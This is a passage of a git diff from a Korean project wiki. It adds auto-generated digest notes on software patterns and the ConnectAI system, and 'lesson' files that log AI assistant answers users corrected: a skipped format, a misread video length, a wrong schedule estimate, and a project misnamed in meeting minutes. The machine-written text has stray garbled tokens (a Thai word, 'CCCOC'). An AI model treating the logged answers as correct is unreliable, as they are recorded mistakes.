있는 주요 장애와 진단 방법은 무엇인가요?** — A: 오래된 사실을 현재로 착각하거나 기억이 반영되지 않는 장애가 발생할 수 있습니다. 이는 `expiresAt` 미설정이나 추출 실패 때문일 수 있으며, 진단 시에는 계층별 `buildContext` 출력을 확인해야 합니다. [디버링 플레이북, 5계층 메모리 시스템] +- **Q: 하이브리드 검색(RAG)의 성능을 높이기 위한 예방 조치는 무엇인가요?** — A: 정기적인 평가 하니스 실행, 정규화 일관성 유지, 인덱스 무결성 점검 등이 필요합니다. [디버깅 플레이북, RAG 검색 파이프라인] +- **Q: 동시성 제어를 위한 락(Lock) 사용 시 반드시 지켜야 할 예방 규칙은 무엇인가요?** — A: 락은 반드시 `try/finally` 구문을 사용하여 release 누락을 방지해야 하며, 토큰 기반으로 정리하고 무거운 작업은 직렬화해야 합니다. [디버깅 플레이북, 동시성 제어 Lock Queue Transaction] + +## 핵심 사실 +- **안티패턴의 정의:** 안티패턴은 처음에는 그럴듯해 보이지만 시간이 지나면 버그와 복잡도를 유발하는 습관이며, ConnectAI의 실제 사례에서 추출된 피해야 할 목록입니다. [안티패턴 카탈로그] +- **설계의 본질:** 모든 설계는 무언가를 최적화하기 위해 다른 무언가를 희생한 결과(Trade-off)입니다. [엔지니어링 트레이드오프 분석] +- **아키텍처 결정 규칙(휴리스틱):** 좋은 설계자는 0부터 고민하는 것이 아니라, "언제 X를 만들고 언제 만들지 않을 것인가"에 대한 결정 규칙을 적용합니다. [아키텍처 휴리스틱] +- **디버깅의 원칙:** 디버깅은 증상에서 근본 원인으로 좁혀 들어가는 체계적인 절차이며, '증상 $\rightarrow$ 가설 $\rightarrow$ 검증 $\rightarrow$ 최소 변경'의 과정을 거칩니다. [디버깅 플레이북] + +## 문서 간 연결 +- **공통 주제:** 모든 문서는 소프트웨어 엔지니어링의 **'의사결정 지능(Decision Intelligence)'**을 다루고 있습니다. 안티패턴은 '피해야 할 것', 트레이드오프는 '선택의 근거', 휴리스틱은 '판단 기준', 플레이북은 '사후 대응'이라는 측면에서 상호 보완적입니다. +- **상호 참조 관계:** + - **[안티패턴] $\leftrightarrow$ [트레이드오프]:** 에이전트 남발(A-04)과 멀티에이전트 설계의 최적화/희생 관계는 서로 연결됩니다. + - **[아키텍처 휴리스틱] $\leftrightarrow$ [디버깅 플레이북]:** 특정 기술(예: 락, 메모리 타입)을 언제 사용하는지에 대한 규칙(휴리스틱)은 해당 기술이 실패했을 때의 대응책(플레이북)과 직결됩니다. + - **[ConnectAI 사례]:** 모든 문서는 ConnectAI 프로젝트에서 실제로 검증되고 적용된 사례를 바탕으로 구성되어 있어 데이터의 일관성을 가집니다. diff --git a/10_Wiki/Topics/Digests/Topic_Programming--Pattern_Catalog.md b/10_Wiki/Topics/Digests/Topic_Programming--Pattern_Catalog.md new file mode 100644 index 00000000..8e8e6908 --- /dev/null +++ b/10_Wiki/Topics/Digests/Topic_Programming--Pattern_Catalog.md @@ -0,0 +1,29 @@ +--- +type: digest +title: "소화 노트: Topic_Programming/Pattern_Catalog" +generated_at: 2026-06-18T18:01:08.478Z +sources: ["React_State_Pattern", "Repository_Pattern", "Infinite_Scroll_Pattern", "JWT_Authentication_Pattern", "Push_Notification_Pattern"] +--- + +# 소화 노트: Topic_Programming/Pattern_Catalog + +> ⚙️ 자동 생성 (sleep-time 사전 소화) — **원문이 항상 우선**입니다. 소스가 바뀌면 자동 재생성되며, 이 파일은 삭제해도 안전합니다. + +## 예상 질문과 답 +- **Q: React에서 상태를 관리할 때 가장 권장되는 위치와 방법은 무엇인가요?** — A: 상태를 필요한 가장 낮은 곳에 두되, 공유가 필요하면 부모로 끌어올리고(lifting state up), 서버 데이터는 UI 상태와 분리하여 캐시 라이브러리(react-query 등)를 사용하는 것이 핵심입니다. [React State Pattern] +- **Q: Repository 패턴을 사용할 때 얻을 수 있는 이점과 주의할 점은 무엇인가요?** — A: 도메인 로직을 저장 기술(DB, API 등)로부터 분리하여 테스트와 구현 교체가 용이하다는 장점이 있지만, ORM이 이미 유사한 추상을 제공하는 경우 중복 설계가 될 수 있으므로 주의해야 합니다. [Repository Pattern] +- **Q: 무한 스크롤 구현 시 성능 저하를 막기 위해 반드시 포함해야 할 요소는 무엇인가요?** — A: 커서 기반 페이징, DOM 가상화(virtualization), 그리고 중복/경쟁 요청 방지 로직이 필수적입니다. [Infinite Scroll Pattern] +- **Q: JWT 인증 방식의 구조적 약점과 이를 보완할 방법은 무엇인가요?** — A: 토큰을 즉시 무효화하기 어렵다는 것이 약점이며, 이를 위해 Access/Refresh Token의 수명을 분리하거나 블랙리스트/토큰 회전(Rotation) 방식을 사용하여 보완할 수 있습니다. [JWT Authentication Pattern] +- **Q: React 상태 관리 시 '파생 상태'를 처리하는 올바른 방법은 무엇인가요?** — A: 파생된 값은 별도로 저장하지 않고 `useMemo`를 통해 계산하여 사용합니다. [React State Pattern] + +## 핵심 사실 +- **React State Pattern:** 상태는 최소 단위에 두되, 공유 시 끌어올리고 서버 데이터는 분리함. 파생 상태는 저장하지 않고 계산함. [React State Pattern] +- **Repository Pattern:** 도메인 코드와 데이터 저장 방식 사이에 인터페이스를 두어 결합도를 낮춤. [Repository Pattern] +(참고: ConnectAI의 `eventSourcedStore`는 Repository 패턴을 적용한 사례임) +- **Infinite Scroll Pattern:** 커서 기반 페이징과 DOM 가상화가 성능 유지의 핵심임. [Infinite Scroll Pattern] +- **JWT Authentication Pattern:** 서버 세션 없이 상태를 유지(stateless)하는 방식이며, 확장성이 좋으나 즉시 무효화가 어렵다는 특징이 있음. [JWT Authentication Pattern] + +## 문서 간 연결 +- **상태 관리와 데이터 접근의 관계:** `React State Pattern`은 프런트엔드 UI 상태 관리에 집중하며, `Repository Pattern`은 백엔드/데이터 계층의 추상화에 집중합니다. 두 패턴 모두 '관심사의 분리'를 지향합니다. +- **공통 주제 (Pattern Catalog):** 모든 문서는 웹 및 소프트웨어 공학의 설계 패턴을 다루고 있으며, 특정 기술(React, SQL, JWT)에 종속되지 않는 추상화된 구조를 제안합니다. +- **기술적 상호보완:** `Infinite Scroll Pattern`은 대량의 데이터를 처리할 때 `React State Pattern`에서 관리하는 상태(로컬/서버)와 결합되어 동작하며, `JWT Authentication Pattern`은 API 호출 시 보안을 위한 인증 수단으로 사용됩니다. diff --git a/10_Wiki/Topics/Digests/Topic_Programming--Platform_Guides.md b/10_Wiki/Topics/Digests/Topic_Programming--Platform_Guides.md new file mode 100644 index 00000000..929e4946 --- /dev/null +++ b/10_Wiki/Topics/Digests/Topic_Programming--Platform_Guides.md @@ -0,0 +1,28 @@ +--- +type: digest +title: "소화 노트: Topic_Programming/Platform_Guides" +generated_at: 2026-06-18T18:01:47.199Z +sources: ["웹_개발_가이드", "백엔드_API_개발_가이드", "AI_에이전트_개발_가이드", "데스크탑_앱_개발_가이드"] +--- + +# 소화 노트: Topic_Programming/Platform_Guides + +> ⚙️ 자동 생성 (sleep-time 사전 소화) — **원문이 항상 우선**입니다. 소스가 바뀌면 자동 재생성되며, 이 파일은 삭제해도 안전합니다. + +## 예상 질문과 답 +- **Q: 웹 개발 시 상태 관리의 핵심 원칙은 무엇인가요?** — A: 서버 데이터와 UI 상태를 분리하고, 단방향 데이터 흐름(SSOT)을 유지하며, 가능한 한 낮은 곳에서 상태를 관리하는 것이 원칙입니다. [웹 개발 가이드] +- **Q: 백엔드 API 설계 시 '멱등성'이 왜 중요한가요?** — A: 동일한 요청이 여러 번 전달되어도 결과가 같아야 시스템의 신뢰성을 보장할 수 있기 때문입니다. 이는 복원력 있는 시스템 구축의 핵심입니다. [백엔드 API 개발 가이드] +- **Q: AI 에이전트 개발에서 '환각(Hallucination)' 문제를 줄이기 위한 전략은 무엇인가요?** — A: RAG(검색 증강 생성) 활용, 강력한 Grounding, 자기 검증(Critic/Reflection) 레이어 구축, 그리고 프롬프트 엔지니어링을 통한 결정론적 응답 유도가 필요합니다. [AI 에이전트 개발 가이드] +- **Q: 데스크탑 앱 개발 시 메모리 누수를 방지하기 위한 가장 좋은 방법은 무엇인가요?** — A: 모든 자원을 사용한 후 `dispose`를 등록하고, 무거운 작업은 UI 스레드가 아닌 워커 큐나 별도 프로세스로 분리하여 관리해야 합니다. [데스크탑 앱 개발 가이드] +- **Q: 백엔드 아키텍처에서 마이크로서비스(MSA) 도입 시 고려해야 할 트레이드오프는 무엇인가요?** — A: 독립적인 확장과 배포가 가능하지만, 분산 시스템 특유의 복잡도와 데이터 일관성 문제를 감수해야 합니다. 따라서 초기에는 모놀리스로 시작하는 것을 권장합니다. [백엔드 API 개발 가이드] + +## 핵심 사실 +- **웹 개발:** 프레임워크보다 상태, 비동기, 데이터 흐름, 에러, 계층 분리라는 본질적 문제를 푸는 것이 중요함. [웹 개발 가이드] +- **백엔드 개발:** 계층 분리(라우터→서비스→리포지토리)와 명확한 API 계약이 신뢰성의 핵심임. [백엔드 API 개발 가이드] +- **AI 에이전트:** RAG, 메모리, 도구 호출, 검증의 조합이 핵심이며, 특히 작은 모델일수록 자기 검증과 강한 Grounding이 품질을 결정함. [AI 에이전트 개발 가이드] +- **데스크탑 앱:** 프로세스 분리(UI↔백그라운드)와 자원 관리(Lifecycle/Dispose)가 안정성의 핵심임. [데스크탑 앱 개발 มี 가이드] + +## 문서 간 연결 +- **공통 주제 (Software Engineering Principles):** 모든 문서는 공통적으로 **계층 분리(Layered Architecture)**, **에러 핸들링 패턴**, **테스트 전략(단위/통합/E2E)**, 그리고 **확장성(Scaling) 전략**을 핵심 설계 원칙으로 다루고 있습니다. +- **상호 보완적 관계:** 웹/백엔드 가이드가 일반적인 시스템의 구조적 안정성을 다룬다면, AI 에이전트 가이드는 그 시스템 내에서 지능형 로직을 구현하기 위한 특화된 아키텍처(RAG, Memory)를 설명합니다. +- **실증 사례 연결:** 모든 가이드는 `ConnectAI`라는 프로젝트의 실제 적용 사례나 구조(VS Code 확장, 웹뷰 UI 등)를 통해 이론의 실재성을 뒷받침하고 있습니다. diff --git a/10_Wiki/Topics/Digests/Topic_Programming--Subsystems.md b/10_Wiki/Topics/Digests/Topic_Programming--Subsystems.md new file mode 100644 index 00000000..6fe5fd6c --- /dev/null +++ b/10_Wiki/Topics/Digests/Topic_Programming--Subsystems.md @@ -0,0 +1,29 @@ +--- +type: digest +title: "소화 노트: Topic_Programming/Subsystems" +generated_at: 2026-06-18T18:01:38.365Z +sources: ["TFIDF_이중언어_스코어링", "LLM_프로바이더_추상화", "RAG_검색_파이프라인", "Agent_오케스트레이터_분해"] +--- + +# 소화 노트: Topic_Programming/Subsystems + +> ⚙️ 자동 생성 (sleep-time 사전 소화) — **원문이 항상 우선**입니다. 소스가 바뀌면 자동 재생성되며, 이 파일은 삭제해도 안전합니다. + +## 예상 질문과 답 +- **Q: ConnectAI의 검색 엔진은 어떤 방식으로 작동하나요?** — A: 임베딩 엔진 없이도 가벼운 검색이 가능하도록 '좋은 토크나이저'와 'TF-IDF 가중치'를 사용합니다. 한국어/영어 혼합 토크나이저, 불용어 제거, 동의어 확장, 제목 가중치(3배) 등을 적용하여 단순 매칭 이상의 점수를 산출합니다. [TF-IDF 이중언어 스코어링] +- **Q: 다양한 LLM 공급자(Provider)를 하나의 코드로 관리하는 방법은 무엇인가요?** — A: '어댑터 패턴'을 사용합니다. Model ID의 접두사(prefix)로 공급자를 결정하는 라우팅 방식을 사용하며, 각 공급자의 API 차이(인증, 바이트 형식 등)는 어댑터가 흡수하고 출력은 OpenAI 호환 SSE 포맷으로 정규화하여 통일합니다. [LLM 프로바이더 추상화] +- **Q: RAG 파이프라인에서 검색된 결과의 우선순위는 어떻게 결정되나요?** — A: 소스별로 점수를 0~1로 정규화한 후 소스 우선순위 가중치를 곱합니다. 이후 Actionability(작업 상태 신호)와 Hierarchical(질의/문서 매칭) 지표로 재가중(Re-rank)하여 최종 선택합니다. [RAG 검색 파이프라인] +- **Q: 에이전트 오케스트레이터 설계 시 'God-class' 문제를 어떻게 해결했나요?** — A: 거대한 하나의 클래스가 모든 것을 처리하는 대신, 전체 흐름의 골격만 유지하고 세부 구현은 `handlePrompt`, `llm`, `actions` 등의 모듈로 추출하여 위임하는 구조를 가집로 유지보수성을 높였습니다. [Agent 오케스트레이터 분해] + +## 핵심 사실 +- **TF-IDF 스코어링:** 한글-영문 경계 분리 정규식을 사용하며, 제목 일치 시 본문보다 3배 높은 가중치를 부여합니다. [TF-IDF 이중언어 스코어링] +- **LLM 라우팅:** `anthropic:`, `gemini:` 등 모델 ID의 접두사(prefix)를 통해 공급자를 결정하며, 로컬 엔진 사용 시에는 접두사가 없는 형태를 따릅니다. [LLM 프로바이더 추상화] +- **RAG 검색 단계:** 질의 계획 $\rightarrow$ 다중 소스 병렬 검색 $\rightarrow$ 점수 정규화 및 재가중 $\rightarrow$ 토큰 예산 내 선택 순으로 진행됩니다. [RAG 검색 파이프라인] +- **멀티에이전트 전략:** 단순한 병렬 실행보다 자원 제약에 맞춘 '순차 실행'과 단일 작성자가 여러 역할을 수행하는 'ChunkedWriter' 방식이 더 견고합니다. [Agent 오케스트레이터 분해] + +## 문서 간 연결 +- **공통 주제:** 모든 문서는 ConnectAI 시스템의 효율적인 구조 설계(검색, LLM 호출, 에이전트 실행)를 위한 아키텍처 패턴(어댑터, 오케스트레이터 분해, 모듈화)을 다루고 있습니다. +- **기술적 연결:** + - `TF-IDF 스코어링`의 토크나이저 기술은 `RAG 검색 파이프라인`의 첫 단계인 Query Planning과 직접적으로 연결됩니다. + - `LLM 프로바이더 추상화`를 통해 정규화된 출력(SSE)은 `Agent 오케스트레이터`가 사용자에게 진행 상황을 전달하는 메시지 프로토콜(`streamChunk` 등)의 기반이 됩니다. + - `RAG 파이프라인`에서 사용하는 섹션 청킹 기술은 `TF-IDF 스코어링`의 정밀도를 높이는 요소로 작용합니다. diff --git a/10_Wiki/Topics/lessons/2026-06-12-correction-요구한-구성-요소-기대-효과-를-누락하고-다른-포맷으로-작성함.md b/10_Wiki/Topics/lessons/2026-06-12-correction-요구한-구성-요소-기대-효과-를-누락하고-다른-포맷으로-작성함.md new file mode 100644 index 00000000..5816fc9e --- /dev/null +++ b/10_Wiki/Topics/lessons/2026-06-12-correction-요구한-구성-요소-기대-효과-를-누락하고-다른-포맷으로-작성함.md @@ -0,0 +1,74 @@ +--- +type: lesson +title: 요구한 구성 요소(기대 효과)를 누락하고 다른 포맷으로 작성함 +error-tag: 지시불이행 +applies-to: [] +severity: medium +source: user-correction +occurrences: 1 +last-seen: 2026-06-12 +--- + +# Lesson: 요구한 구성 요소(기대 효과)를 누락하고 다른 포맷으로 작성함 + +## Situation +사용자 질문: 일단 조건을 하나 더 추가할께. 계열사는 하고 싶어 하지 않아. 우리한테 업무를 주는게 추가 업무로 이어진다고 생각해. 해서 이걸 뒤집을 정도로 매력적이어야해. + +## Mistake / Risk +[지시불이행] AI 답변: 그렇다면 전략의 패러다임을 완전히 바꿔야 합니다. 계열사가 "우리는 안 해, 귀찮아"라고 말하는 이유는 '이 일이 우리에게 득이 되는 게 아니라, 단순히 처리해야 할 숙제(Task)로 느껴지기 때문'입니다. + +새로운 정보가 직전 결론의 '계열사 대상 가치' 부분을 정면으로 반박하며, 교육의 목적을 '업무 전달'에서 '자원 및 수익 창출 모델'로 재정의해야 합니다. 결론 수정: 계열사의 거부감을 없애기 위해, 이 프로젝트를 "우리가 일을 해주는 것"이 아니라 "계열사가 돈을 벌거나 비용을 아낄 수 있는 솔루션을 우리가 제공하는 것"으로 포지셔닝해야 합니다. + +--- + +🚀 [RE-STRATEGY] 계열사의 '귀찮음'을 '기회'로 뒤집는 3가지 매력 포인트 + +계열사가 이 프로젝트를 받아들였을 때, "추가 업무"가 아니라 "우리 팀의 리소스를 아껴줄 치트키"라고 느끼게 만들어야 합니다. + +1. [비용 절감형] The Cost-Killer: Automated Compliance (자동화된 비용 방어) + +"업무를 주는 게 아니라, 계열사의 '인건비'와 '리스크 비용'을 삭제해 드립니다." + +- 핵러(Strategy): 계열사가 직접 교육하고 검증해야 하는 번거로운 프로세스를 우리 플랫폼이 자동으로 처리(Auto-pilot)하게 합니다. +- 매력 포인트: "계열사 담당자님, 따로 교육 자료 만드실 필요 없습니다. 우리 시스템에 프로젝트 등록만 하시면, 보안/준법 테스트와 결과 리포트가 자동으로 생성되어 감사팀에 전송됩니다." +- 결과: 계열사 입장에서는 '추가 업무'가 아니라, '기존 업무의 자동화(Automation)'가 됩니다. + +2. [수익 창출형] The Revenue Generator: New Market Access (신규 시장 진입 도구) + +"우리가 만든 기술을 쓰면, 계열사의 서비스가 '글로벌 표준'이 됩니다." + +- 핵러(Strategy): 계열사가 보유한 서비스에 우리 플랫폼의 '인터랙티브 교육 모듈'을 입혀서, 외부 고객(B2B/B2무)에게 판매할 수 있는 '부가 가치 상품(Add-on)'으로 변모시킵니다. +- 매력 포인트: "이 기술을 도입하면 계열사 서비스의 퀄리티가 '게임급'으로 올라갑니다. 이를 통해 해외 고객이나 대형 계약처에 '검증된 보안/품질'을 마케팅 포인트로 내세울 수 있습니다." +- 결과: 계열사 입장에서는 '새로운 매출원(New Revenue Stream)'이 생기는 것입니다. + +3. [리소스 최적화형] The Resource Saver: Plug & Play Module (즉시 투입 가능한 모듈) + +"개발은 우리가 할 테니, 계열사는 '콘텐츠'만 결정하세요." + +- 핵러(Strategy): 계열사가 새로운 프로젝트를 시작할 때 겪는 기술적 난관(Unity 구현, 서버 구축 등)을 우리 플랫폼의 '표준 모듈'로 즉시 해결해 줍니다. +- 매력 포인트: "새로운 서비스 출시할 때 개발팀 인력 많이 쓰지 마세요. 우리가 만든 인터랙티브 엔진에 콘텐츠만 태우면, 개발 기간을 1/3로 단축할 수 있습니다." +- 결과: 계열사 입장에서는 '개발 기간 단축 및 리소스 최적화'를 달 수 있습니다. + +--- + +💡 전략적 제언 (Strategic Roadmap) + +결론 수정: 계열사의 거부감을 없애기 위해, 이 프로젝트의 정체성을 '서비스 제공자(Provider)'에서 '가치 증폭기(Value Multiplier)'로 전환해야 합니다. + +- 핵심 가치: "업무를 준다" $\rightarrow$ "효율을 준다" +- 검증할 것: 계열사 담당자들이 현재 가장 '귀찮아하는' 지점(예: 보안 감사, 교육 이수 관리, 개발 인력 부족)이 무엇인지 먼저 파악하여, 위 3가지 모델 중 하나를 타겟팅해야 합니다. +- 다음 단계: 계열사가 "오, 이건 우리한테 진짜 이득인데?"라고 느낄 수 있도록, 실제 '비용 절감 시뮬레이션(ROI)' 데이터를 준비하는 것이 필요합니다. + +출처: `모델 지식 (검색 출처 미사용)` + +이 답변은 사용자의 요청에 따라 완성되었습니다. + +## Fix +사용자 정정 (Ground Truth): 지금까지 너는 나에게 아이디어, 핵심 내용, 기대 효과 내용으로 써줬는데. 법정 의무 교육은 다른 포멧으로 줬어 기대 효과를 써줘. +법정 의무 교육 단순히 영상을 보는 것이 아니라, 퀴즈를 틀리면 정답 근거가 있는 영상 구간으로 '자동 리다이로(Seek)' 되는 기술적 메커니즘을 핵심 가치로 내세웁니다. + +## Prevention Checklist +- 같은 질문 유형에서 [지시불이행] 재발 여부 확인 — 주간 회귀 테스트 대상 + +## 관련 레슨 +- [[2026-06-15-correction-대화의-주제-기간-오차범위-와-다른-내용-영상-길이-을-놓침]] diff --git a/10_Wiki/Topics/lessons/2026-06-15-correction-대화의-주제-기간-오차범위-와-다른-내용-영상-길이-을-놓침.md b/10_Wiki/Topics/lessons/2026-06-15-correction-대화의-주제-기간-오차범위-와-다른-내용-영상-길이-을-놓침.md new file mode 100644 index 00000000..5b1fcd15 --- /dev/null +++ b/10_Wiki/Topics/lessons/2026-06-15-correction-대화의-주제-기간-오차범위-와-다른-내용-영상-길이-을-놓침.md @@ -0,0 +1,57 @@ +--- +type: lesson +title: 대화의 주제(기간/오차범위)와 다른 내용(영상 길이)을 놓침 +error-tag: 맥락누락 +applies-to: [] +severity: medium +source: user-correction +occurrences: 1 +last-seen: 2026-06-15 +--- + +# Lesson: 대화의 주제(기간/오차범위)와 다른 내용(영상 길이)을 놓침 + +## Situation +사용자 질문: 3주에서 5주면, 2배인거자나? +/- 오차 범위가 너무 넓어 + +## Mistake / Risk +[맥락누락] AI 답변: 그렇습니다. 3주와 5주는 작업량 차이가 거의 67%에 달하기 때문에, 이 정도의 편차는 프로젝트 스케줄링 관점에서는 **'예측 불가능한 리스크'**로 작용합니다. + +오차 범위를 줄이기 위해 우리가 결정해야 할 것은 **"기획(스토리보드)이 준비되었을 때, 제작 공정 중 어디까지가 확정된 상태인가?"**입니다. + +범위를 좁히기 위한 두 가지 선택지를 제안합니다. + +### 옵션 1: '리소스 확보' 여부에 따라 범위 고정 (현실적 접근) +단순히 "기획이 있다"가 아니라, **"기획에 필요한 소스(키이미지, 영상, 사운드)가 준비되었는가?"**를 기준으로 삼는 것입니다. + +* **Case A (리소스 완료):** 기획 + 리소스 확보 완료 $\rightarrow$ **3주 고정** (편집/합성만 남음) +* **Case B (기획만 완료):** 기획은 있으나 소스 제작 필요 $\rightarrow$ **5주 유지** (리소스 제작 기간 포함) + +이렇게 하면 오차 범위를 3주~5주가 아닌, **'3주(소스 준비 시)' vs '5주(소스 미준비 시)'**로 명확히 구분할 수 있습니다. + +### 옵션 2: '기술적 난이도'를 기준으로 범위 고정 (구조적 접근) +영상 유형을 '난이도 상/하'로 나누어, 기술적 요구사항이 확정된 상태라면 기간을 고정하는 방식입니다. + +* **Low-End (단순 자막/편집):** 3주 +* **High-End (VFX/합성 필수):** 5주 + +--- + +**결론적으로 제가 제안하는 방향은 이렇습니다:** + +만약 사용자가 **"기획이 준비되었다"**고 말할 때, 그 기획에 **'리소스 제작(VFX, 사운드 등) 계획'까지 포함되어 있는지**를 확인해야 합니다. + +* 만약 리소스 제작까지 완료된 상태라면 $\rightarrow$ **3주** +* 기획은 있지만 소스 작업이 남아있다면 $\rightarrow$ **5주** + +이렇게 기준을 세우면 오차 범위를 훨씬 좁게 관리할 수 있습니다. 지금 이 가이드의 기준을 **'리소스 준비 여부'**에 따라 재정의할까요? + +## Fix +사용자 정정 (Ground Truth): 1분 30초 말하는거야 3분 30초가 아니라 + +## Prevention Checklist +- 같은 질문 유형에서 [맥락누락] 재발 여부 확인 — 주간 회귀 테스트 대상 + +## 관련 레슨 +- [[2026-06-12-correction-요구한-구성-요소-기대-효과-를-누락하고-다른-포맷으로-작성함]] +- [[2026-06-15-correction-수치-오류를-바로잡기-위한-논리적-근거-재검토-필요]] \ No newline at end of file diff --git a/10_Wiki/Topics/lessons/2026-06-15-correction-수치-오류를-바로잡기-위한-논리적-근거-재검토-필요.md b/10_Wiki/Topics/lessons/2026-06-15-correction-수치-오류를-바로잡기-위한-논리적-근거-재검토-필요.md new file mode 100644 index 00000000..dff47359 --- /dev/null +++ b/10_Wiki/Topics/lessons/2026-06-15-correction-수치-오류를-바로잡기-위한-논리적-근거-재검토-필요.md @@ -0,0 +1,46 @@ +--- +type: lesson +title: 수치 오류를 바로잡기 위한 논리적 근거 재검토 필요 +error-tag: 기타 +applies-to: [] +severity: medium +source: user-correction +occurrences: 1 +last-seen: 2026-06-15 +--- + +# Lesson: 수치 오류를 바로잡기 위한 논리적 근거 재검토 필요 + +## Situation +사용자 질문: 1분 30초 말하는거야 3분 30초가 아니라 + +## Mistake / Risk +[기타] AI 답변: 그렇다면 오차 범위의 핵심은 **'영상 길이(분량)'**가 아니라, **'기술적 난이도와 리소스 작업량'**에 집중되어야 합니다. + +사용자께서 말씀하신 대로 1분 30초를 기준으로 잡는다면, 3분 30초(브랜드 필름)처럼 긴 영상으로 인한 변수는 제거됩니다. 이제 우리가 줄여야 할 오차 범위의 핵심은 **"기획만 있고 소스는 없는 상태인가, 아니면 소스까지 준비된 상태인가"**로 압축됩니다. + +결론을 수정하여 범위를 다음과 같이 재정의할 수 있습니다. + +### 결론 수정: 1분 30초 영상 기준 예측 범위 + +직전의 '3주~5주'라는 넓은 범위는 영상 길이에 따른 변수(3분 30초)를 포함하고 있었으나, **1분 30초로 고정할 경우** 오차 범위는 다음과 같이 좁혀집니다. + +1. **[Case 1] 리소스 준비 완료 (기획 + 소스 확보): 약 3주** + * 이미 키이미지, VFX, 사운드 등 편집에 쓸 재료가 모두 있는 상태입니다. 오직 '편집'과 '합성'만 남았으므로 3주 내에 확정적 종료가 가능합니다. +2. **[Case 2] 리소스 제작 필요 (기획만 완료): 약 5주** + * 기획은 있지만, 가이드에 명시된 '리소스 제작(VFX, 사운드 등)' 단계를 새로 거쳐야 합니다. 이 단계에서 발생하는 물리적 시간이 추가되어 5주가 소요됩니다. + +**결론 유지 — 이유는 다음과 같습니다:** +1분 30초라는 길이는 고정되었으므로, 이제 프로젝트의 리스크는 **'추가적인 제작 공정(리소스 제작)이 포함되느냐 아니냐'**에 달려 있습니다. 따라서 우리는 **"기획 완료 시점의 리소스 준비 상태"**를 기준으로 스케줄을 3주 또는 5주로 명확히 분리하여 관리해야 합니다. + +--- +*이 정보는 사용자가 제공한 `영상_제작_공정_가이드.md`의 수치와 1분 30초라는 새로운 전제를 바탕으로 도출된 논리적 추론입니다.* + +## Fix +사용자 정정 (Ground Truth): 리소스가 있고 편집이라면 3주가 아니라 1.5주여야 하는거 아니야? + +## Prevention Checklist +- 같은 질문 유형에서 [기타] 재발 여부 확인 — 주간 회귀 테스트 대상 + +## 관련 레슨 +- [[2026-06-15-correction-대화의-주제-기간-오차범위-와-다른-내용-영상-길이-을-놓침]] diff --git a/10_Wiki/Topics/lessons/2026-06-16-correction-ccoc가-아니라-sisihosi야.md b/10_Wiki/Topics/lessons/2026-06-16-correction-ccoc가-아니라-sisihosi야.md new file mode 100644 index 00000000..2def620c --- /dev/null +++ b/10_Wiki/Topics/lessons/2026-06-16-correction-ccoc가-아니라-sisihosi야.md @@ -0,0 +1,91 @@ +--- +type: lesson +title: ccoc가 아니라 SISIHOSI야 +error-tag: 사실오류 +applies-to: [] +severity: medium +source: user-correction +occurrences: 1 +last-seen: 2026-06-16 +--- + +# Lesson: ccoc가 아니라 SISIHOSI야 + +## Situation +사용자 질문: /meet D:\Meet\p.txt + +## Mistake / Risk +[사실오류] AI 답변: **Datacollect Radio** · `/meet` · bridge=`http://127.0.0.1:3002` + +📝 **회의록 작성**: D:\Meet\p.txt + +⏳ 녹취 파일 읽는 중…📚 자동 용어집 3개 용어 주입 + +✅ 파일 읽기 완료 (8,631자) + +🧪 **회의록 합성** (모델 `gemma-4-26b-a4b-it`) +모델·하드웨어에 따라 수 분 걸릴 수 있습니다… ✓ (16s) + +# [회의 제목] 플랫폼 최적화 및 CCOC 프로젝트 진행 현황 논의 + +- **날짜**: 2026년 06월 16일 +- **참석자**: 김원일 PD, 송병준, 김상엽, 오경득, 전효주, 한예성 (메타데이터 기준) +- **주제 요약**: iOS 메모리 이슈 해결을 위한 플랫폼(PlayCanvas, Babylon.js 등) 조사 및 CCOC 프로젝트의 목업 기반 개발 방향 논의 + +## 🔹 요약 보고 +* **iOS 메모리 문제 및 최적화**: iOS 기기에서 파일 압축 해제 시 발생하는 메모리 부족 문제와 이를 극복하기 위한 플레이캔버스(PlayCanvas) 활용 방점 논의. +* **플랫폼 기술 조사**: 웹GL 기반 환경에서 성능이 검증된 샘플 사이트(3개 내외)를 선정하여 QA 팀에 테스트 요청 계획 수립. +* **CCCOC 프로젝트 진행**: 현옥 팀장의 목업을 바탕으로 한 개발 방식 및 데이터 업데이트 방식(바이브 코딩 활용 등) 논의. +* **가우시안 스플래팅 R&D**: 파노라마 방식을 대체하거나 보완할 수 있는 기술적 가능성 및 퀄리티 검증 필요성 제기. + +## 1. 주요 논의 사항 +### [iOS 메모리 이슈 및 웹GL 플랫폼 조사] +- **현황**: iOS 환경에서 압축 파일 해제 시 발생하는 메모리 문제로 인해 특정 기기에서 실행이 불안정함. +- **핵심 논의**: + - 참석자 1: iOS 10/17 등 특정 기기에서의 메모리 터짐 현상과 이를 극복하기 위한 플레이캔버스 지원 포맷(sgl/sog 등) 활용 가능성 언급. + - 참석자 2: 이미 서비스 중인 사례나 샘플 데모를 찾아보고, QA 팀에 URL을 전달하여 성능(초 단위 등) 및 작동 여부를 체크리스트로 확인 요청할 것을 제안. + - 참석자 3: 가우시안 스플래팅 기반의 최적화된 프로젝트 샘플 3개를 찾아 전달하겠다고 답변. +- **결론**: 논의 중 (플레이캔버스 및 베이비론 JS 등 기술 검토 필요) + +### [CCCOC 프로젝트 개발 방향] +- **현황**: CCOC 프로젝트의 1차 작업 기한은 19일까지이며, 현재 목업 단계임. +- **핵급 논의**: + - 참석자 4: 현옥 팀장이 만든 웹 기반 목업 형태를 공유할 예정이며, 상품 리스트가 나열된 단순한 구조임을 설명. + - 참석자 2: 바이브 코딩을 활용하여 초기 구현을 진행하되, 데이터 업데이트(DB/로컬)를 위한 개별 코딩 및 구조 고민이 필요함을 강조. +- **결론**: 논의 중 (목업 전달 후 구체적 개발 방식 결정) + +### [가우시안 스플래팅 R&D 방향] +- **현황**: 가우시안 스플래팅 기술을 기존 파노라마 방식에 적용하거나 새로운 무기로 사용할지 검토 중. +- **핵심 논의**: + - 참석자 3: 기존 파노라마 기술을 유지하면서 새로운 포맷으로 가져가는 방향 제안. + - 참석자 2: 결과물의 퀄리티와 호환성에 따라 결정될 문제이며, 최종적인 평가가 필요함. +- **결론**: 논의 중 + +## 2. 리스크 및 이슈 +* **iOS 메모리 부족**: 파일 압축 해제 시 메모리 점유로 인해 특정 기기에서 크래시 발생 가능성 있음. +* **기술적 불확실성**: 베이비론 JS나 트리JS 등 선택한 플랫폼의 비주얼 툴 지원 여부 및 개발 편의성에 대한 검증이 필요함. + +## 3. 결정 사항 +- **QA 테스트 요청**: 선정된 샘플 사이트(약 3개)를 QA 팀에 전달하여 기종별 성능 및 작동 여부를 